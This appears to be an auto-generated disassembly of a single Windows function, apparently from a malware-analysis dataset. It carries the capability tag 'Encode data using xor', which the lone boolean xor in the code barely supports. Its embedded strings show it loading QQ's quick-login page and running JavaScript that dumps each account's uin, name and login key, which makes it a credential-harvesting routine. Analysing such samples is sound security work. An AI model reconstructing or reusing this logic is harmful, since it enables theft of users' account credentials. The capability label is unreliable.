Function at 0x40158f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
push 8
call fcn.004020b8
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 0xc], 0
push 8
call fcn.004020b8
add esp, 4
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, 0x478c5e
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0
push 8
call fcn.004020b8
add esp, 4
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, 0x478c5e
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push 8
call fcn.004020b8
add esp, 4
mov dword [ebp - 0x1c], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x401641
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40163d
imul eax, dword [ebx]
jmp 0x401632
mov ecx, eax
test ecx, ecx
je 0x401681
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x40165c
push ebx
call fcn.004020ac
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x401670
push ebx
call fcn.004020ac
add esp, 4
pop ebx
call fcn.004020ac
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x401647
call fcn.004020ac
add esp, 4
mov eax, 0x478c5e
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push 0x10001
push 0x6010061
push 0x52010039
push 3
mov ebx, 0x402120
call fcn.004020b2
add esp, 0x28
push 0
push str.http:__xui.ptlogin2.qq.com_cgi_bin_qlogin_domainqq.comlang2052qtarget0jumpnameptcssparamu1_253Dhttp_25253A_25252F_25252Fwww.qq.com_25252Fqq2012_25252FloginSuccess.htmcssmibao_csslow_login0
push 0xffffffffffffffff
push 0xb
push 0x16010062
push 0x52010039
call fcn.004020d0
add esp, 0x18
push 0
mov ebx, 0x402410
call fcn.004020b2
add esp, 4
push 0
mov ebx, 0x402410
call fcn.004020b2
add esp, 4
push 0x40001
push 0x16010062
push 0x52010039
push 1
mov eax, 3
mov ebx, 0x44a5b0
call fcn.004020d6
add esp, 0x10
and eax, 1
xor eax, 1
test eax, eax
jne 0x4016f5
push 0
push str.javascript:for_var_C0_C_q_aUinList.length_C_var_Dq_aUinList_C__document.write_D.uin___D.name___D.key__r___
push 0xffffffffffffffff
push 0xb
push 0x16010062
push 0x52010039
call fcn.004020d0
add esp, 0x18
push 0
mov ebx, 0x402410
call fcn.004020b2
add esp, 4
push 0x40001
push 0x16010062
push 0x52010039
push 1
mov ebx, 0x4020f0
call fcn.004020b2
add esp, 0x10
push eax
call fcn.00401d52
mov dword [ebp - 4], eax
push dword [ebp - 4]
call fcn.00401e58
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 8]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x402890
call fcn.004020b2
add esp, 0x10
call fcn.004020ac
add esp, 4
pop eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.documentElement
push 0x10030
push 0
push dword [ebp - 8]
push 3
mov ebx, 0x4026f0
call fcn.004020b2
add esp, 0x28
mov dword [ebp - 0x20], eax
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.innerText
push 0x10030
push 0
push dword [ebp - 0x20]
push 3
mov ebx, 0x4026c0
call fcn.004020b2
add esp, 0x28
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x402890
call fcn.004020b2
add esp, 0x10
call fcn.004020ac
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40185f
push ebx
call fcn.004020ac
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x478dc4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x401888
mov eax, 0x478b6f
push eax
push 3
mov ebx, 0x4021f0
call fcn.004020b2
add esp, 0x28
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4018c0
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4018bc
imul eax, dword [ebx]
jmp 0x4018b1
mov ecx, eax
test ecx, ecx
je 0x4018df
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x4018d8
push ebx
push eax
call fcn.004020ac
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4018c6
call fcn.004020ac
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0x10]
call fcn.0040101a
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x401931
push 0
push 0
push 0
push 0x10001
push 0x6010061
push 0x52010039
push 2
mov ebx, 0x402420
call fcn.004020b2
add esp, 0x1c
mov eax, 0
jmp 0x401c5c
mov ebx, dword [ebp - 0x10]
call fcn.0040101a
xor ecx, ecx
push eax
lea eax, [ebp - 0x14]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x401bbc
mov ebx, dword [ebp - 0x10]
call fcn.00401033
push ebx
push ecx
mov eax, dword [ebp - 0x14]
dec eax
jns 0x40196d
push 4
call fcn.004020be
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x401980
push 1
call fcn.004020be
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x478dc6
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
test eax, eax
jne 0x4019af
mov eax, 0x478b6f
push eax
push 3
mov ebx, 0x4021f0
call fcn.004020b2
add esp, 0x28
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0x18]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4019e7
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4019e3
imul eax, dword [ebx]
jmp 0x4019d8
mov ecx, eax
test ecx, ecx
je 0x401a06
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x4019ff
push ebx
push eax
call fcn.004020ac
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4019ed
call fcn.004020ac
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x18]
call fcn.0040101a
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jne 0x401bb4
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x18]
call fcn.00401033
mov eax, 0
cmp eax, ecx
jl 0x401a4b
push 1
call fcn.004020be
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
je 0x401a71
push eax
mov ebx, eax
call fcn.00401053
inc eax
push eax
call fcn.004020b8
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x20]
mov ebx, dword [ebx]
test ebx, ebx
je 0x401a84
push ebx
call fcn.004020ac
add esp, 4
pop eax
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x1c]
add ebx, 4
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x18]
call fcn.00401033
mov eax, 2
cmp eax, ecx
jl 0x401ab1
push 1
call fcn.004020be
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
je 0x401ad7
push eax
mov ebx, eax
call fcn.00401053
inc eax
push eax
call fcn.004020b8
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x20]
mov ebx, dword [ebx]
test ebx, ebx
je 0x401aea
push ebx
call fcn.004020ac
add esp, 4
pop eax
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
push dword [ebp + 8]
push 4
mov eax, 2
call fcn.004020a6
add esp, 8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
mov dword [ebp - 0x24], ebx
call fcn.00401033
mov dword [ebp - 0x28], ecx
mov edi, dword [ebp - 0x24]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x401b34
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x28]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x24]
call fcn.004020ca
add esp, 8
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x28]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x20]
push edi
push eax
push 8
call fcn.004020b8
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x401b8e
push eax
mov ebx, eax
call fcn.00401053
inc eax
push eax
call fcn.004020b8
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x401bad
push eax
mov ebx, eax
call fcn.00401053
inc eax
push eax
call fcn.004020b8
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
pop eax
pop edi
mov dword [edi], eax
pop eax
pop ebx
pop ecx
jmp 0x401942
add esp, 0xc
mov eax, 0x478b6f
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x401bd5
push ebx
call fcn.004020ac
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x401bf7
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x401bf3
imul eax, dword [ebx]
jmp 0x401be8
mov ecx, eax
test ecx, ecx
je 0x401c16
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x401c0f
push ebx
push eax
call fcn.004020ac
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x401bfd
call fcn.004020ac
add esp, 4
mov eax, 0x478c5e
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 0x10001
push 0x6010061
push 0x52010039
push 2
mov ebx, 0x402420
call fcn.004020b2
add esp, 0x1c
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
call fcn.0040101a
jmp 0x401c5c
push eax
mov ebx, dword [ebp - 8]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x402890
call fcn.004020b2
add esp, 0x10
call fcn.004020ac
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x401c90
push ebx
call fcn.004020ac
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x401cae
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x401caa
imul eax, dword [ebx]
jmp 0x401c9f
mov ecx, eax
test ecx, ecx
je 0x401ccd
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x401cc6
push ebx
push eax
call fcn.004020ac
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x401cb4
call fcn.004020ac
add esp, 4
mov ebx, dword [ebp - 0x18]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x401cf3
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x401cef
imul eax, dword [ebx]
jmp 0x401ce4
mov ecx, eax
test ecx, ecx
je 0x401d12
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x401d0b
push ebx
push eax
call fcn.004020ac
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x401cf9
call fcn.004020ac
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x401d2e
push ebx
call fcn.004020ac
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x401d42
push ebx
call fcn.004020ac
add esp, 4
pop ebx
call fcn.004020ac
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4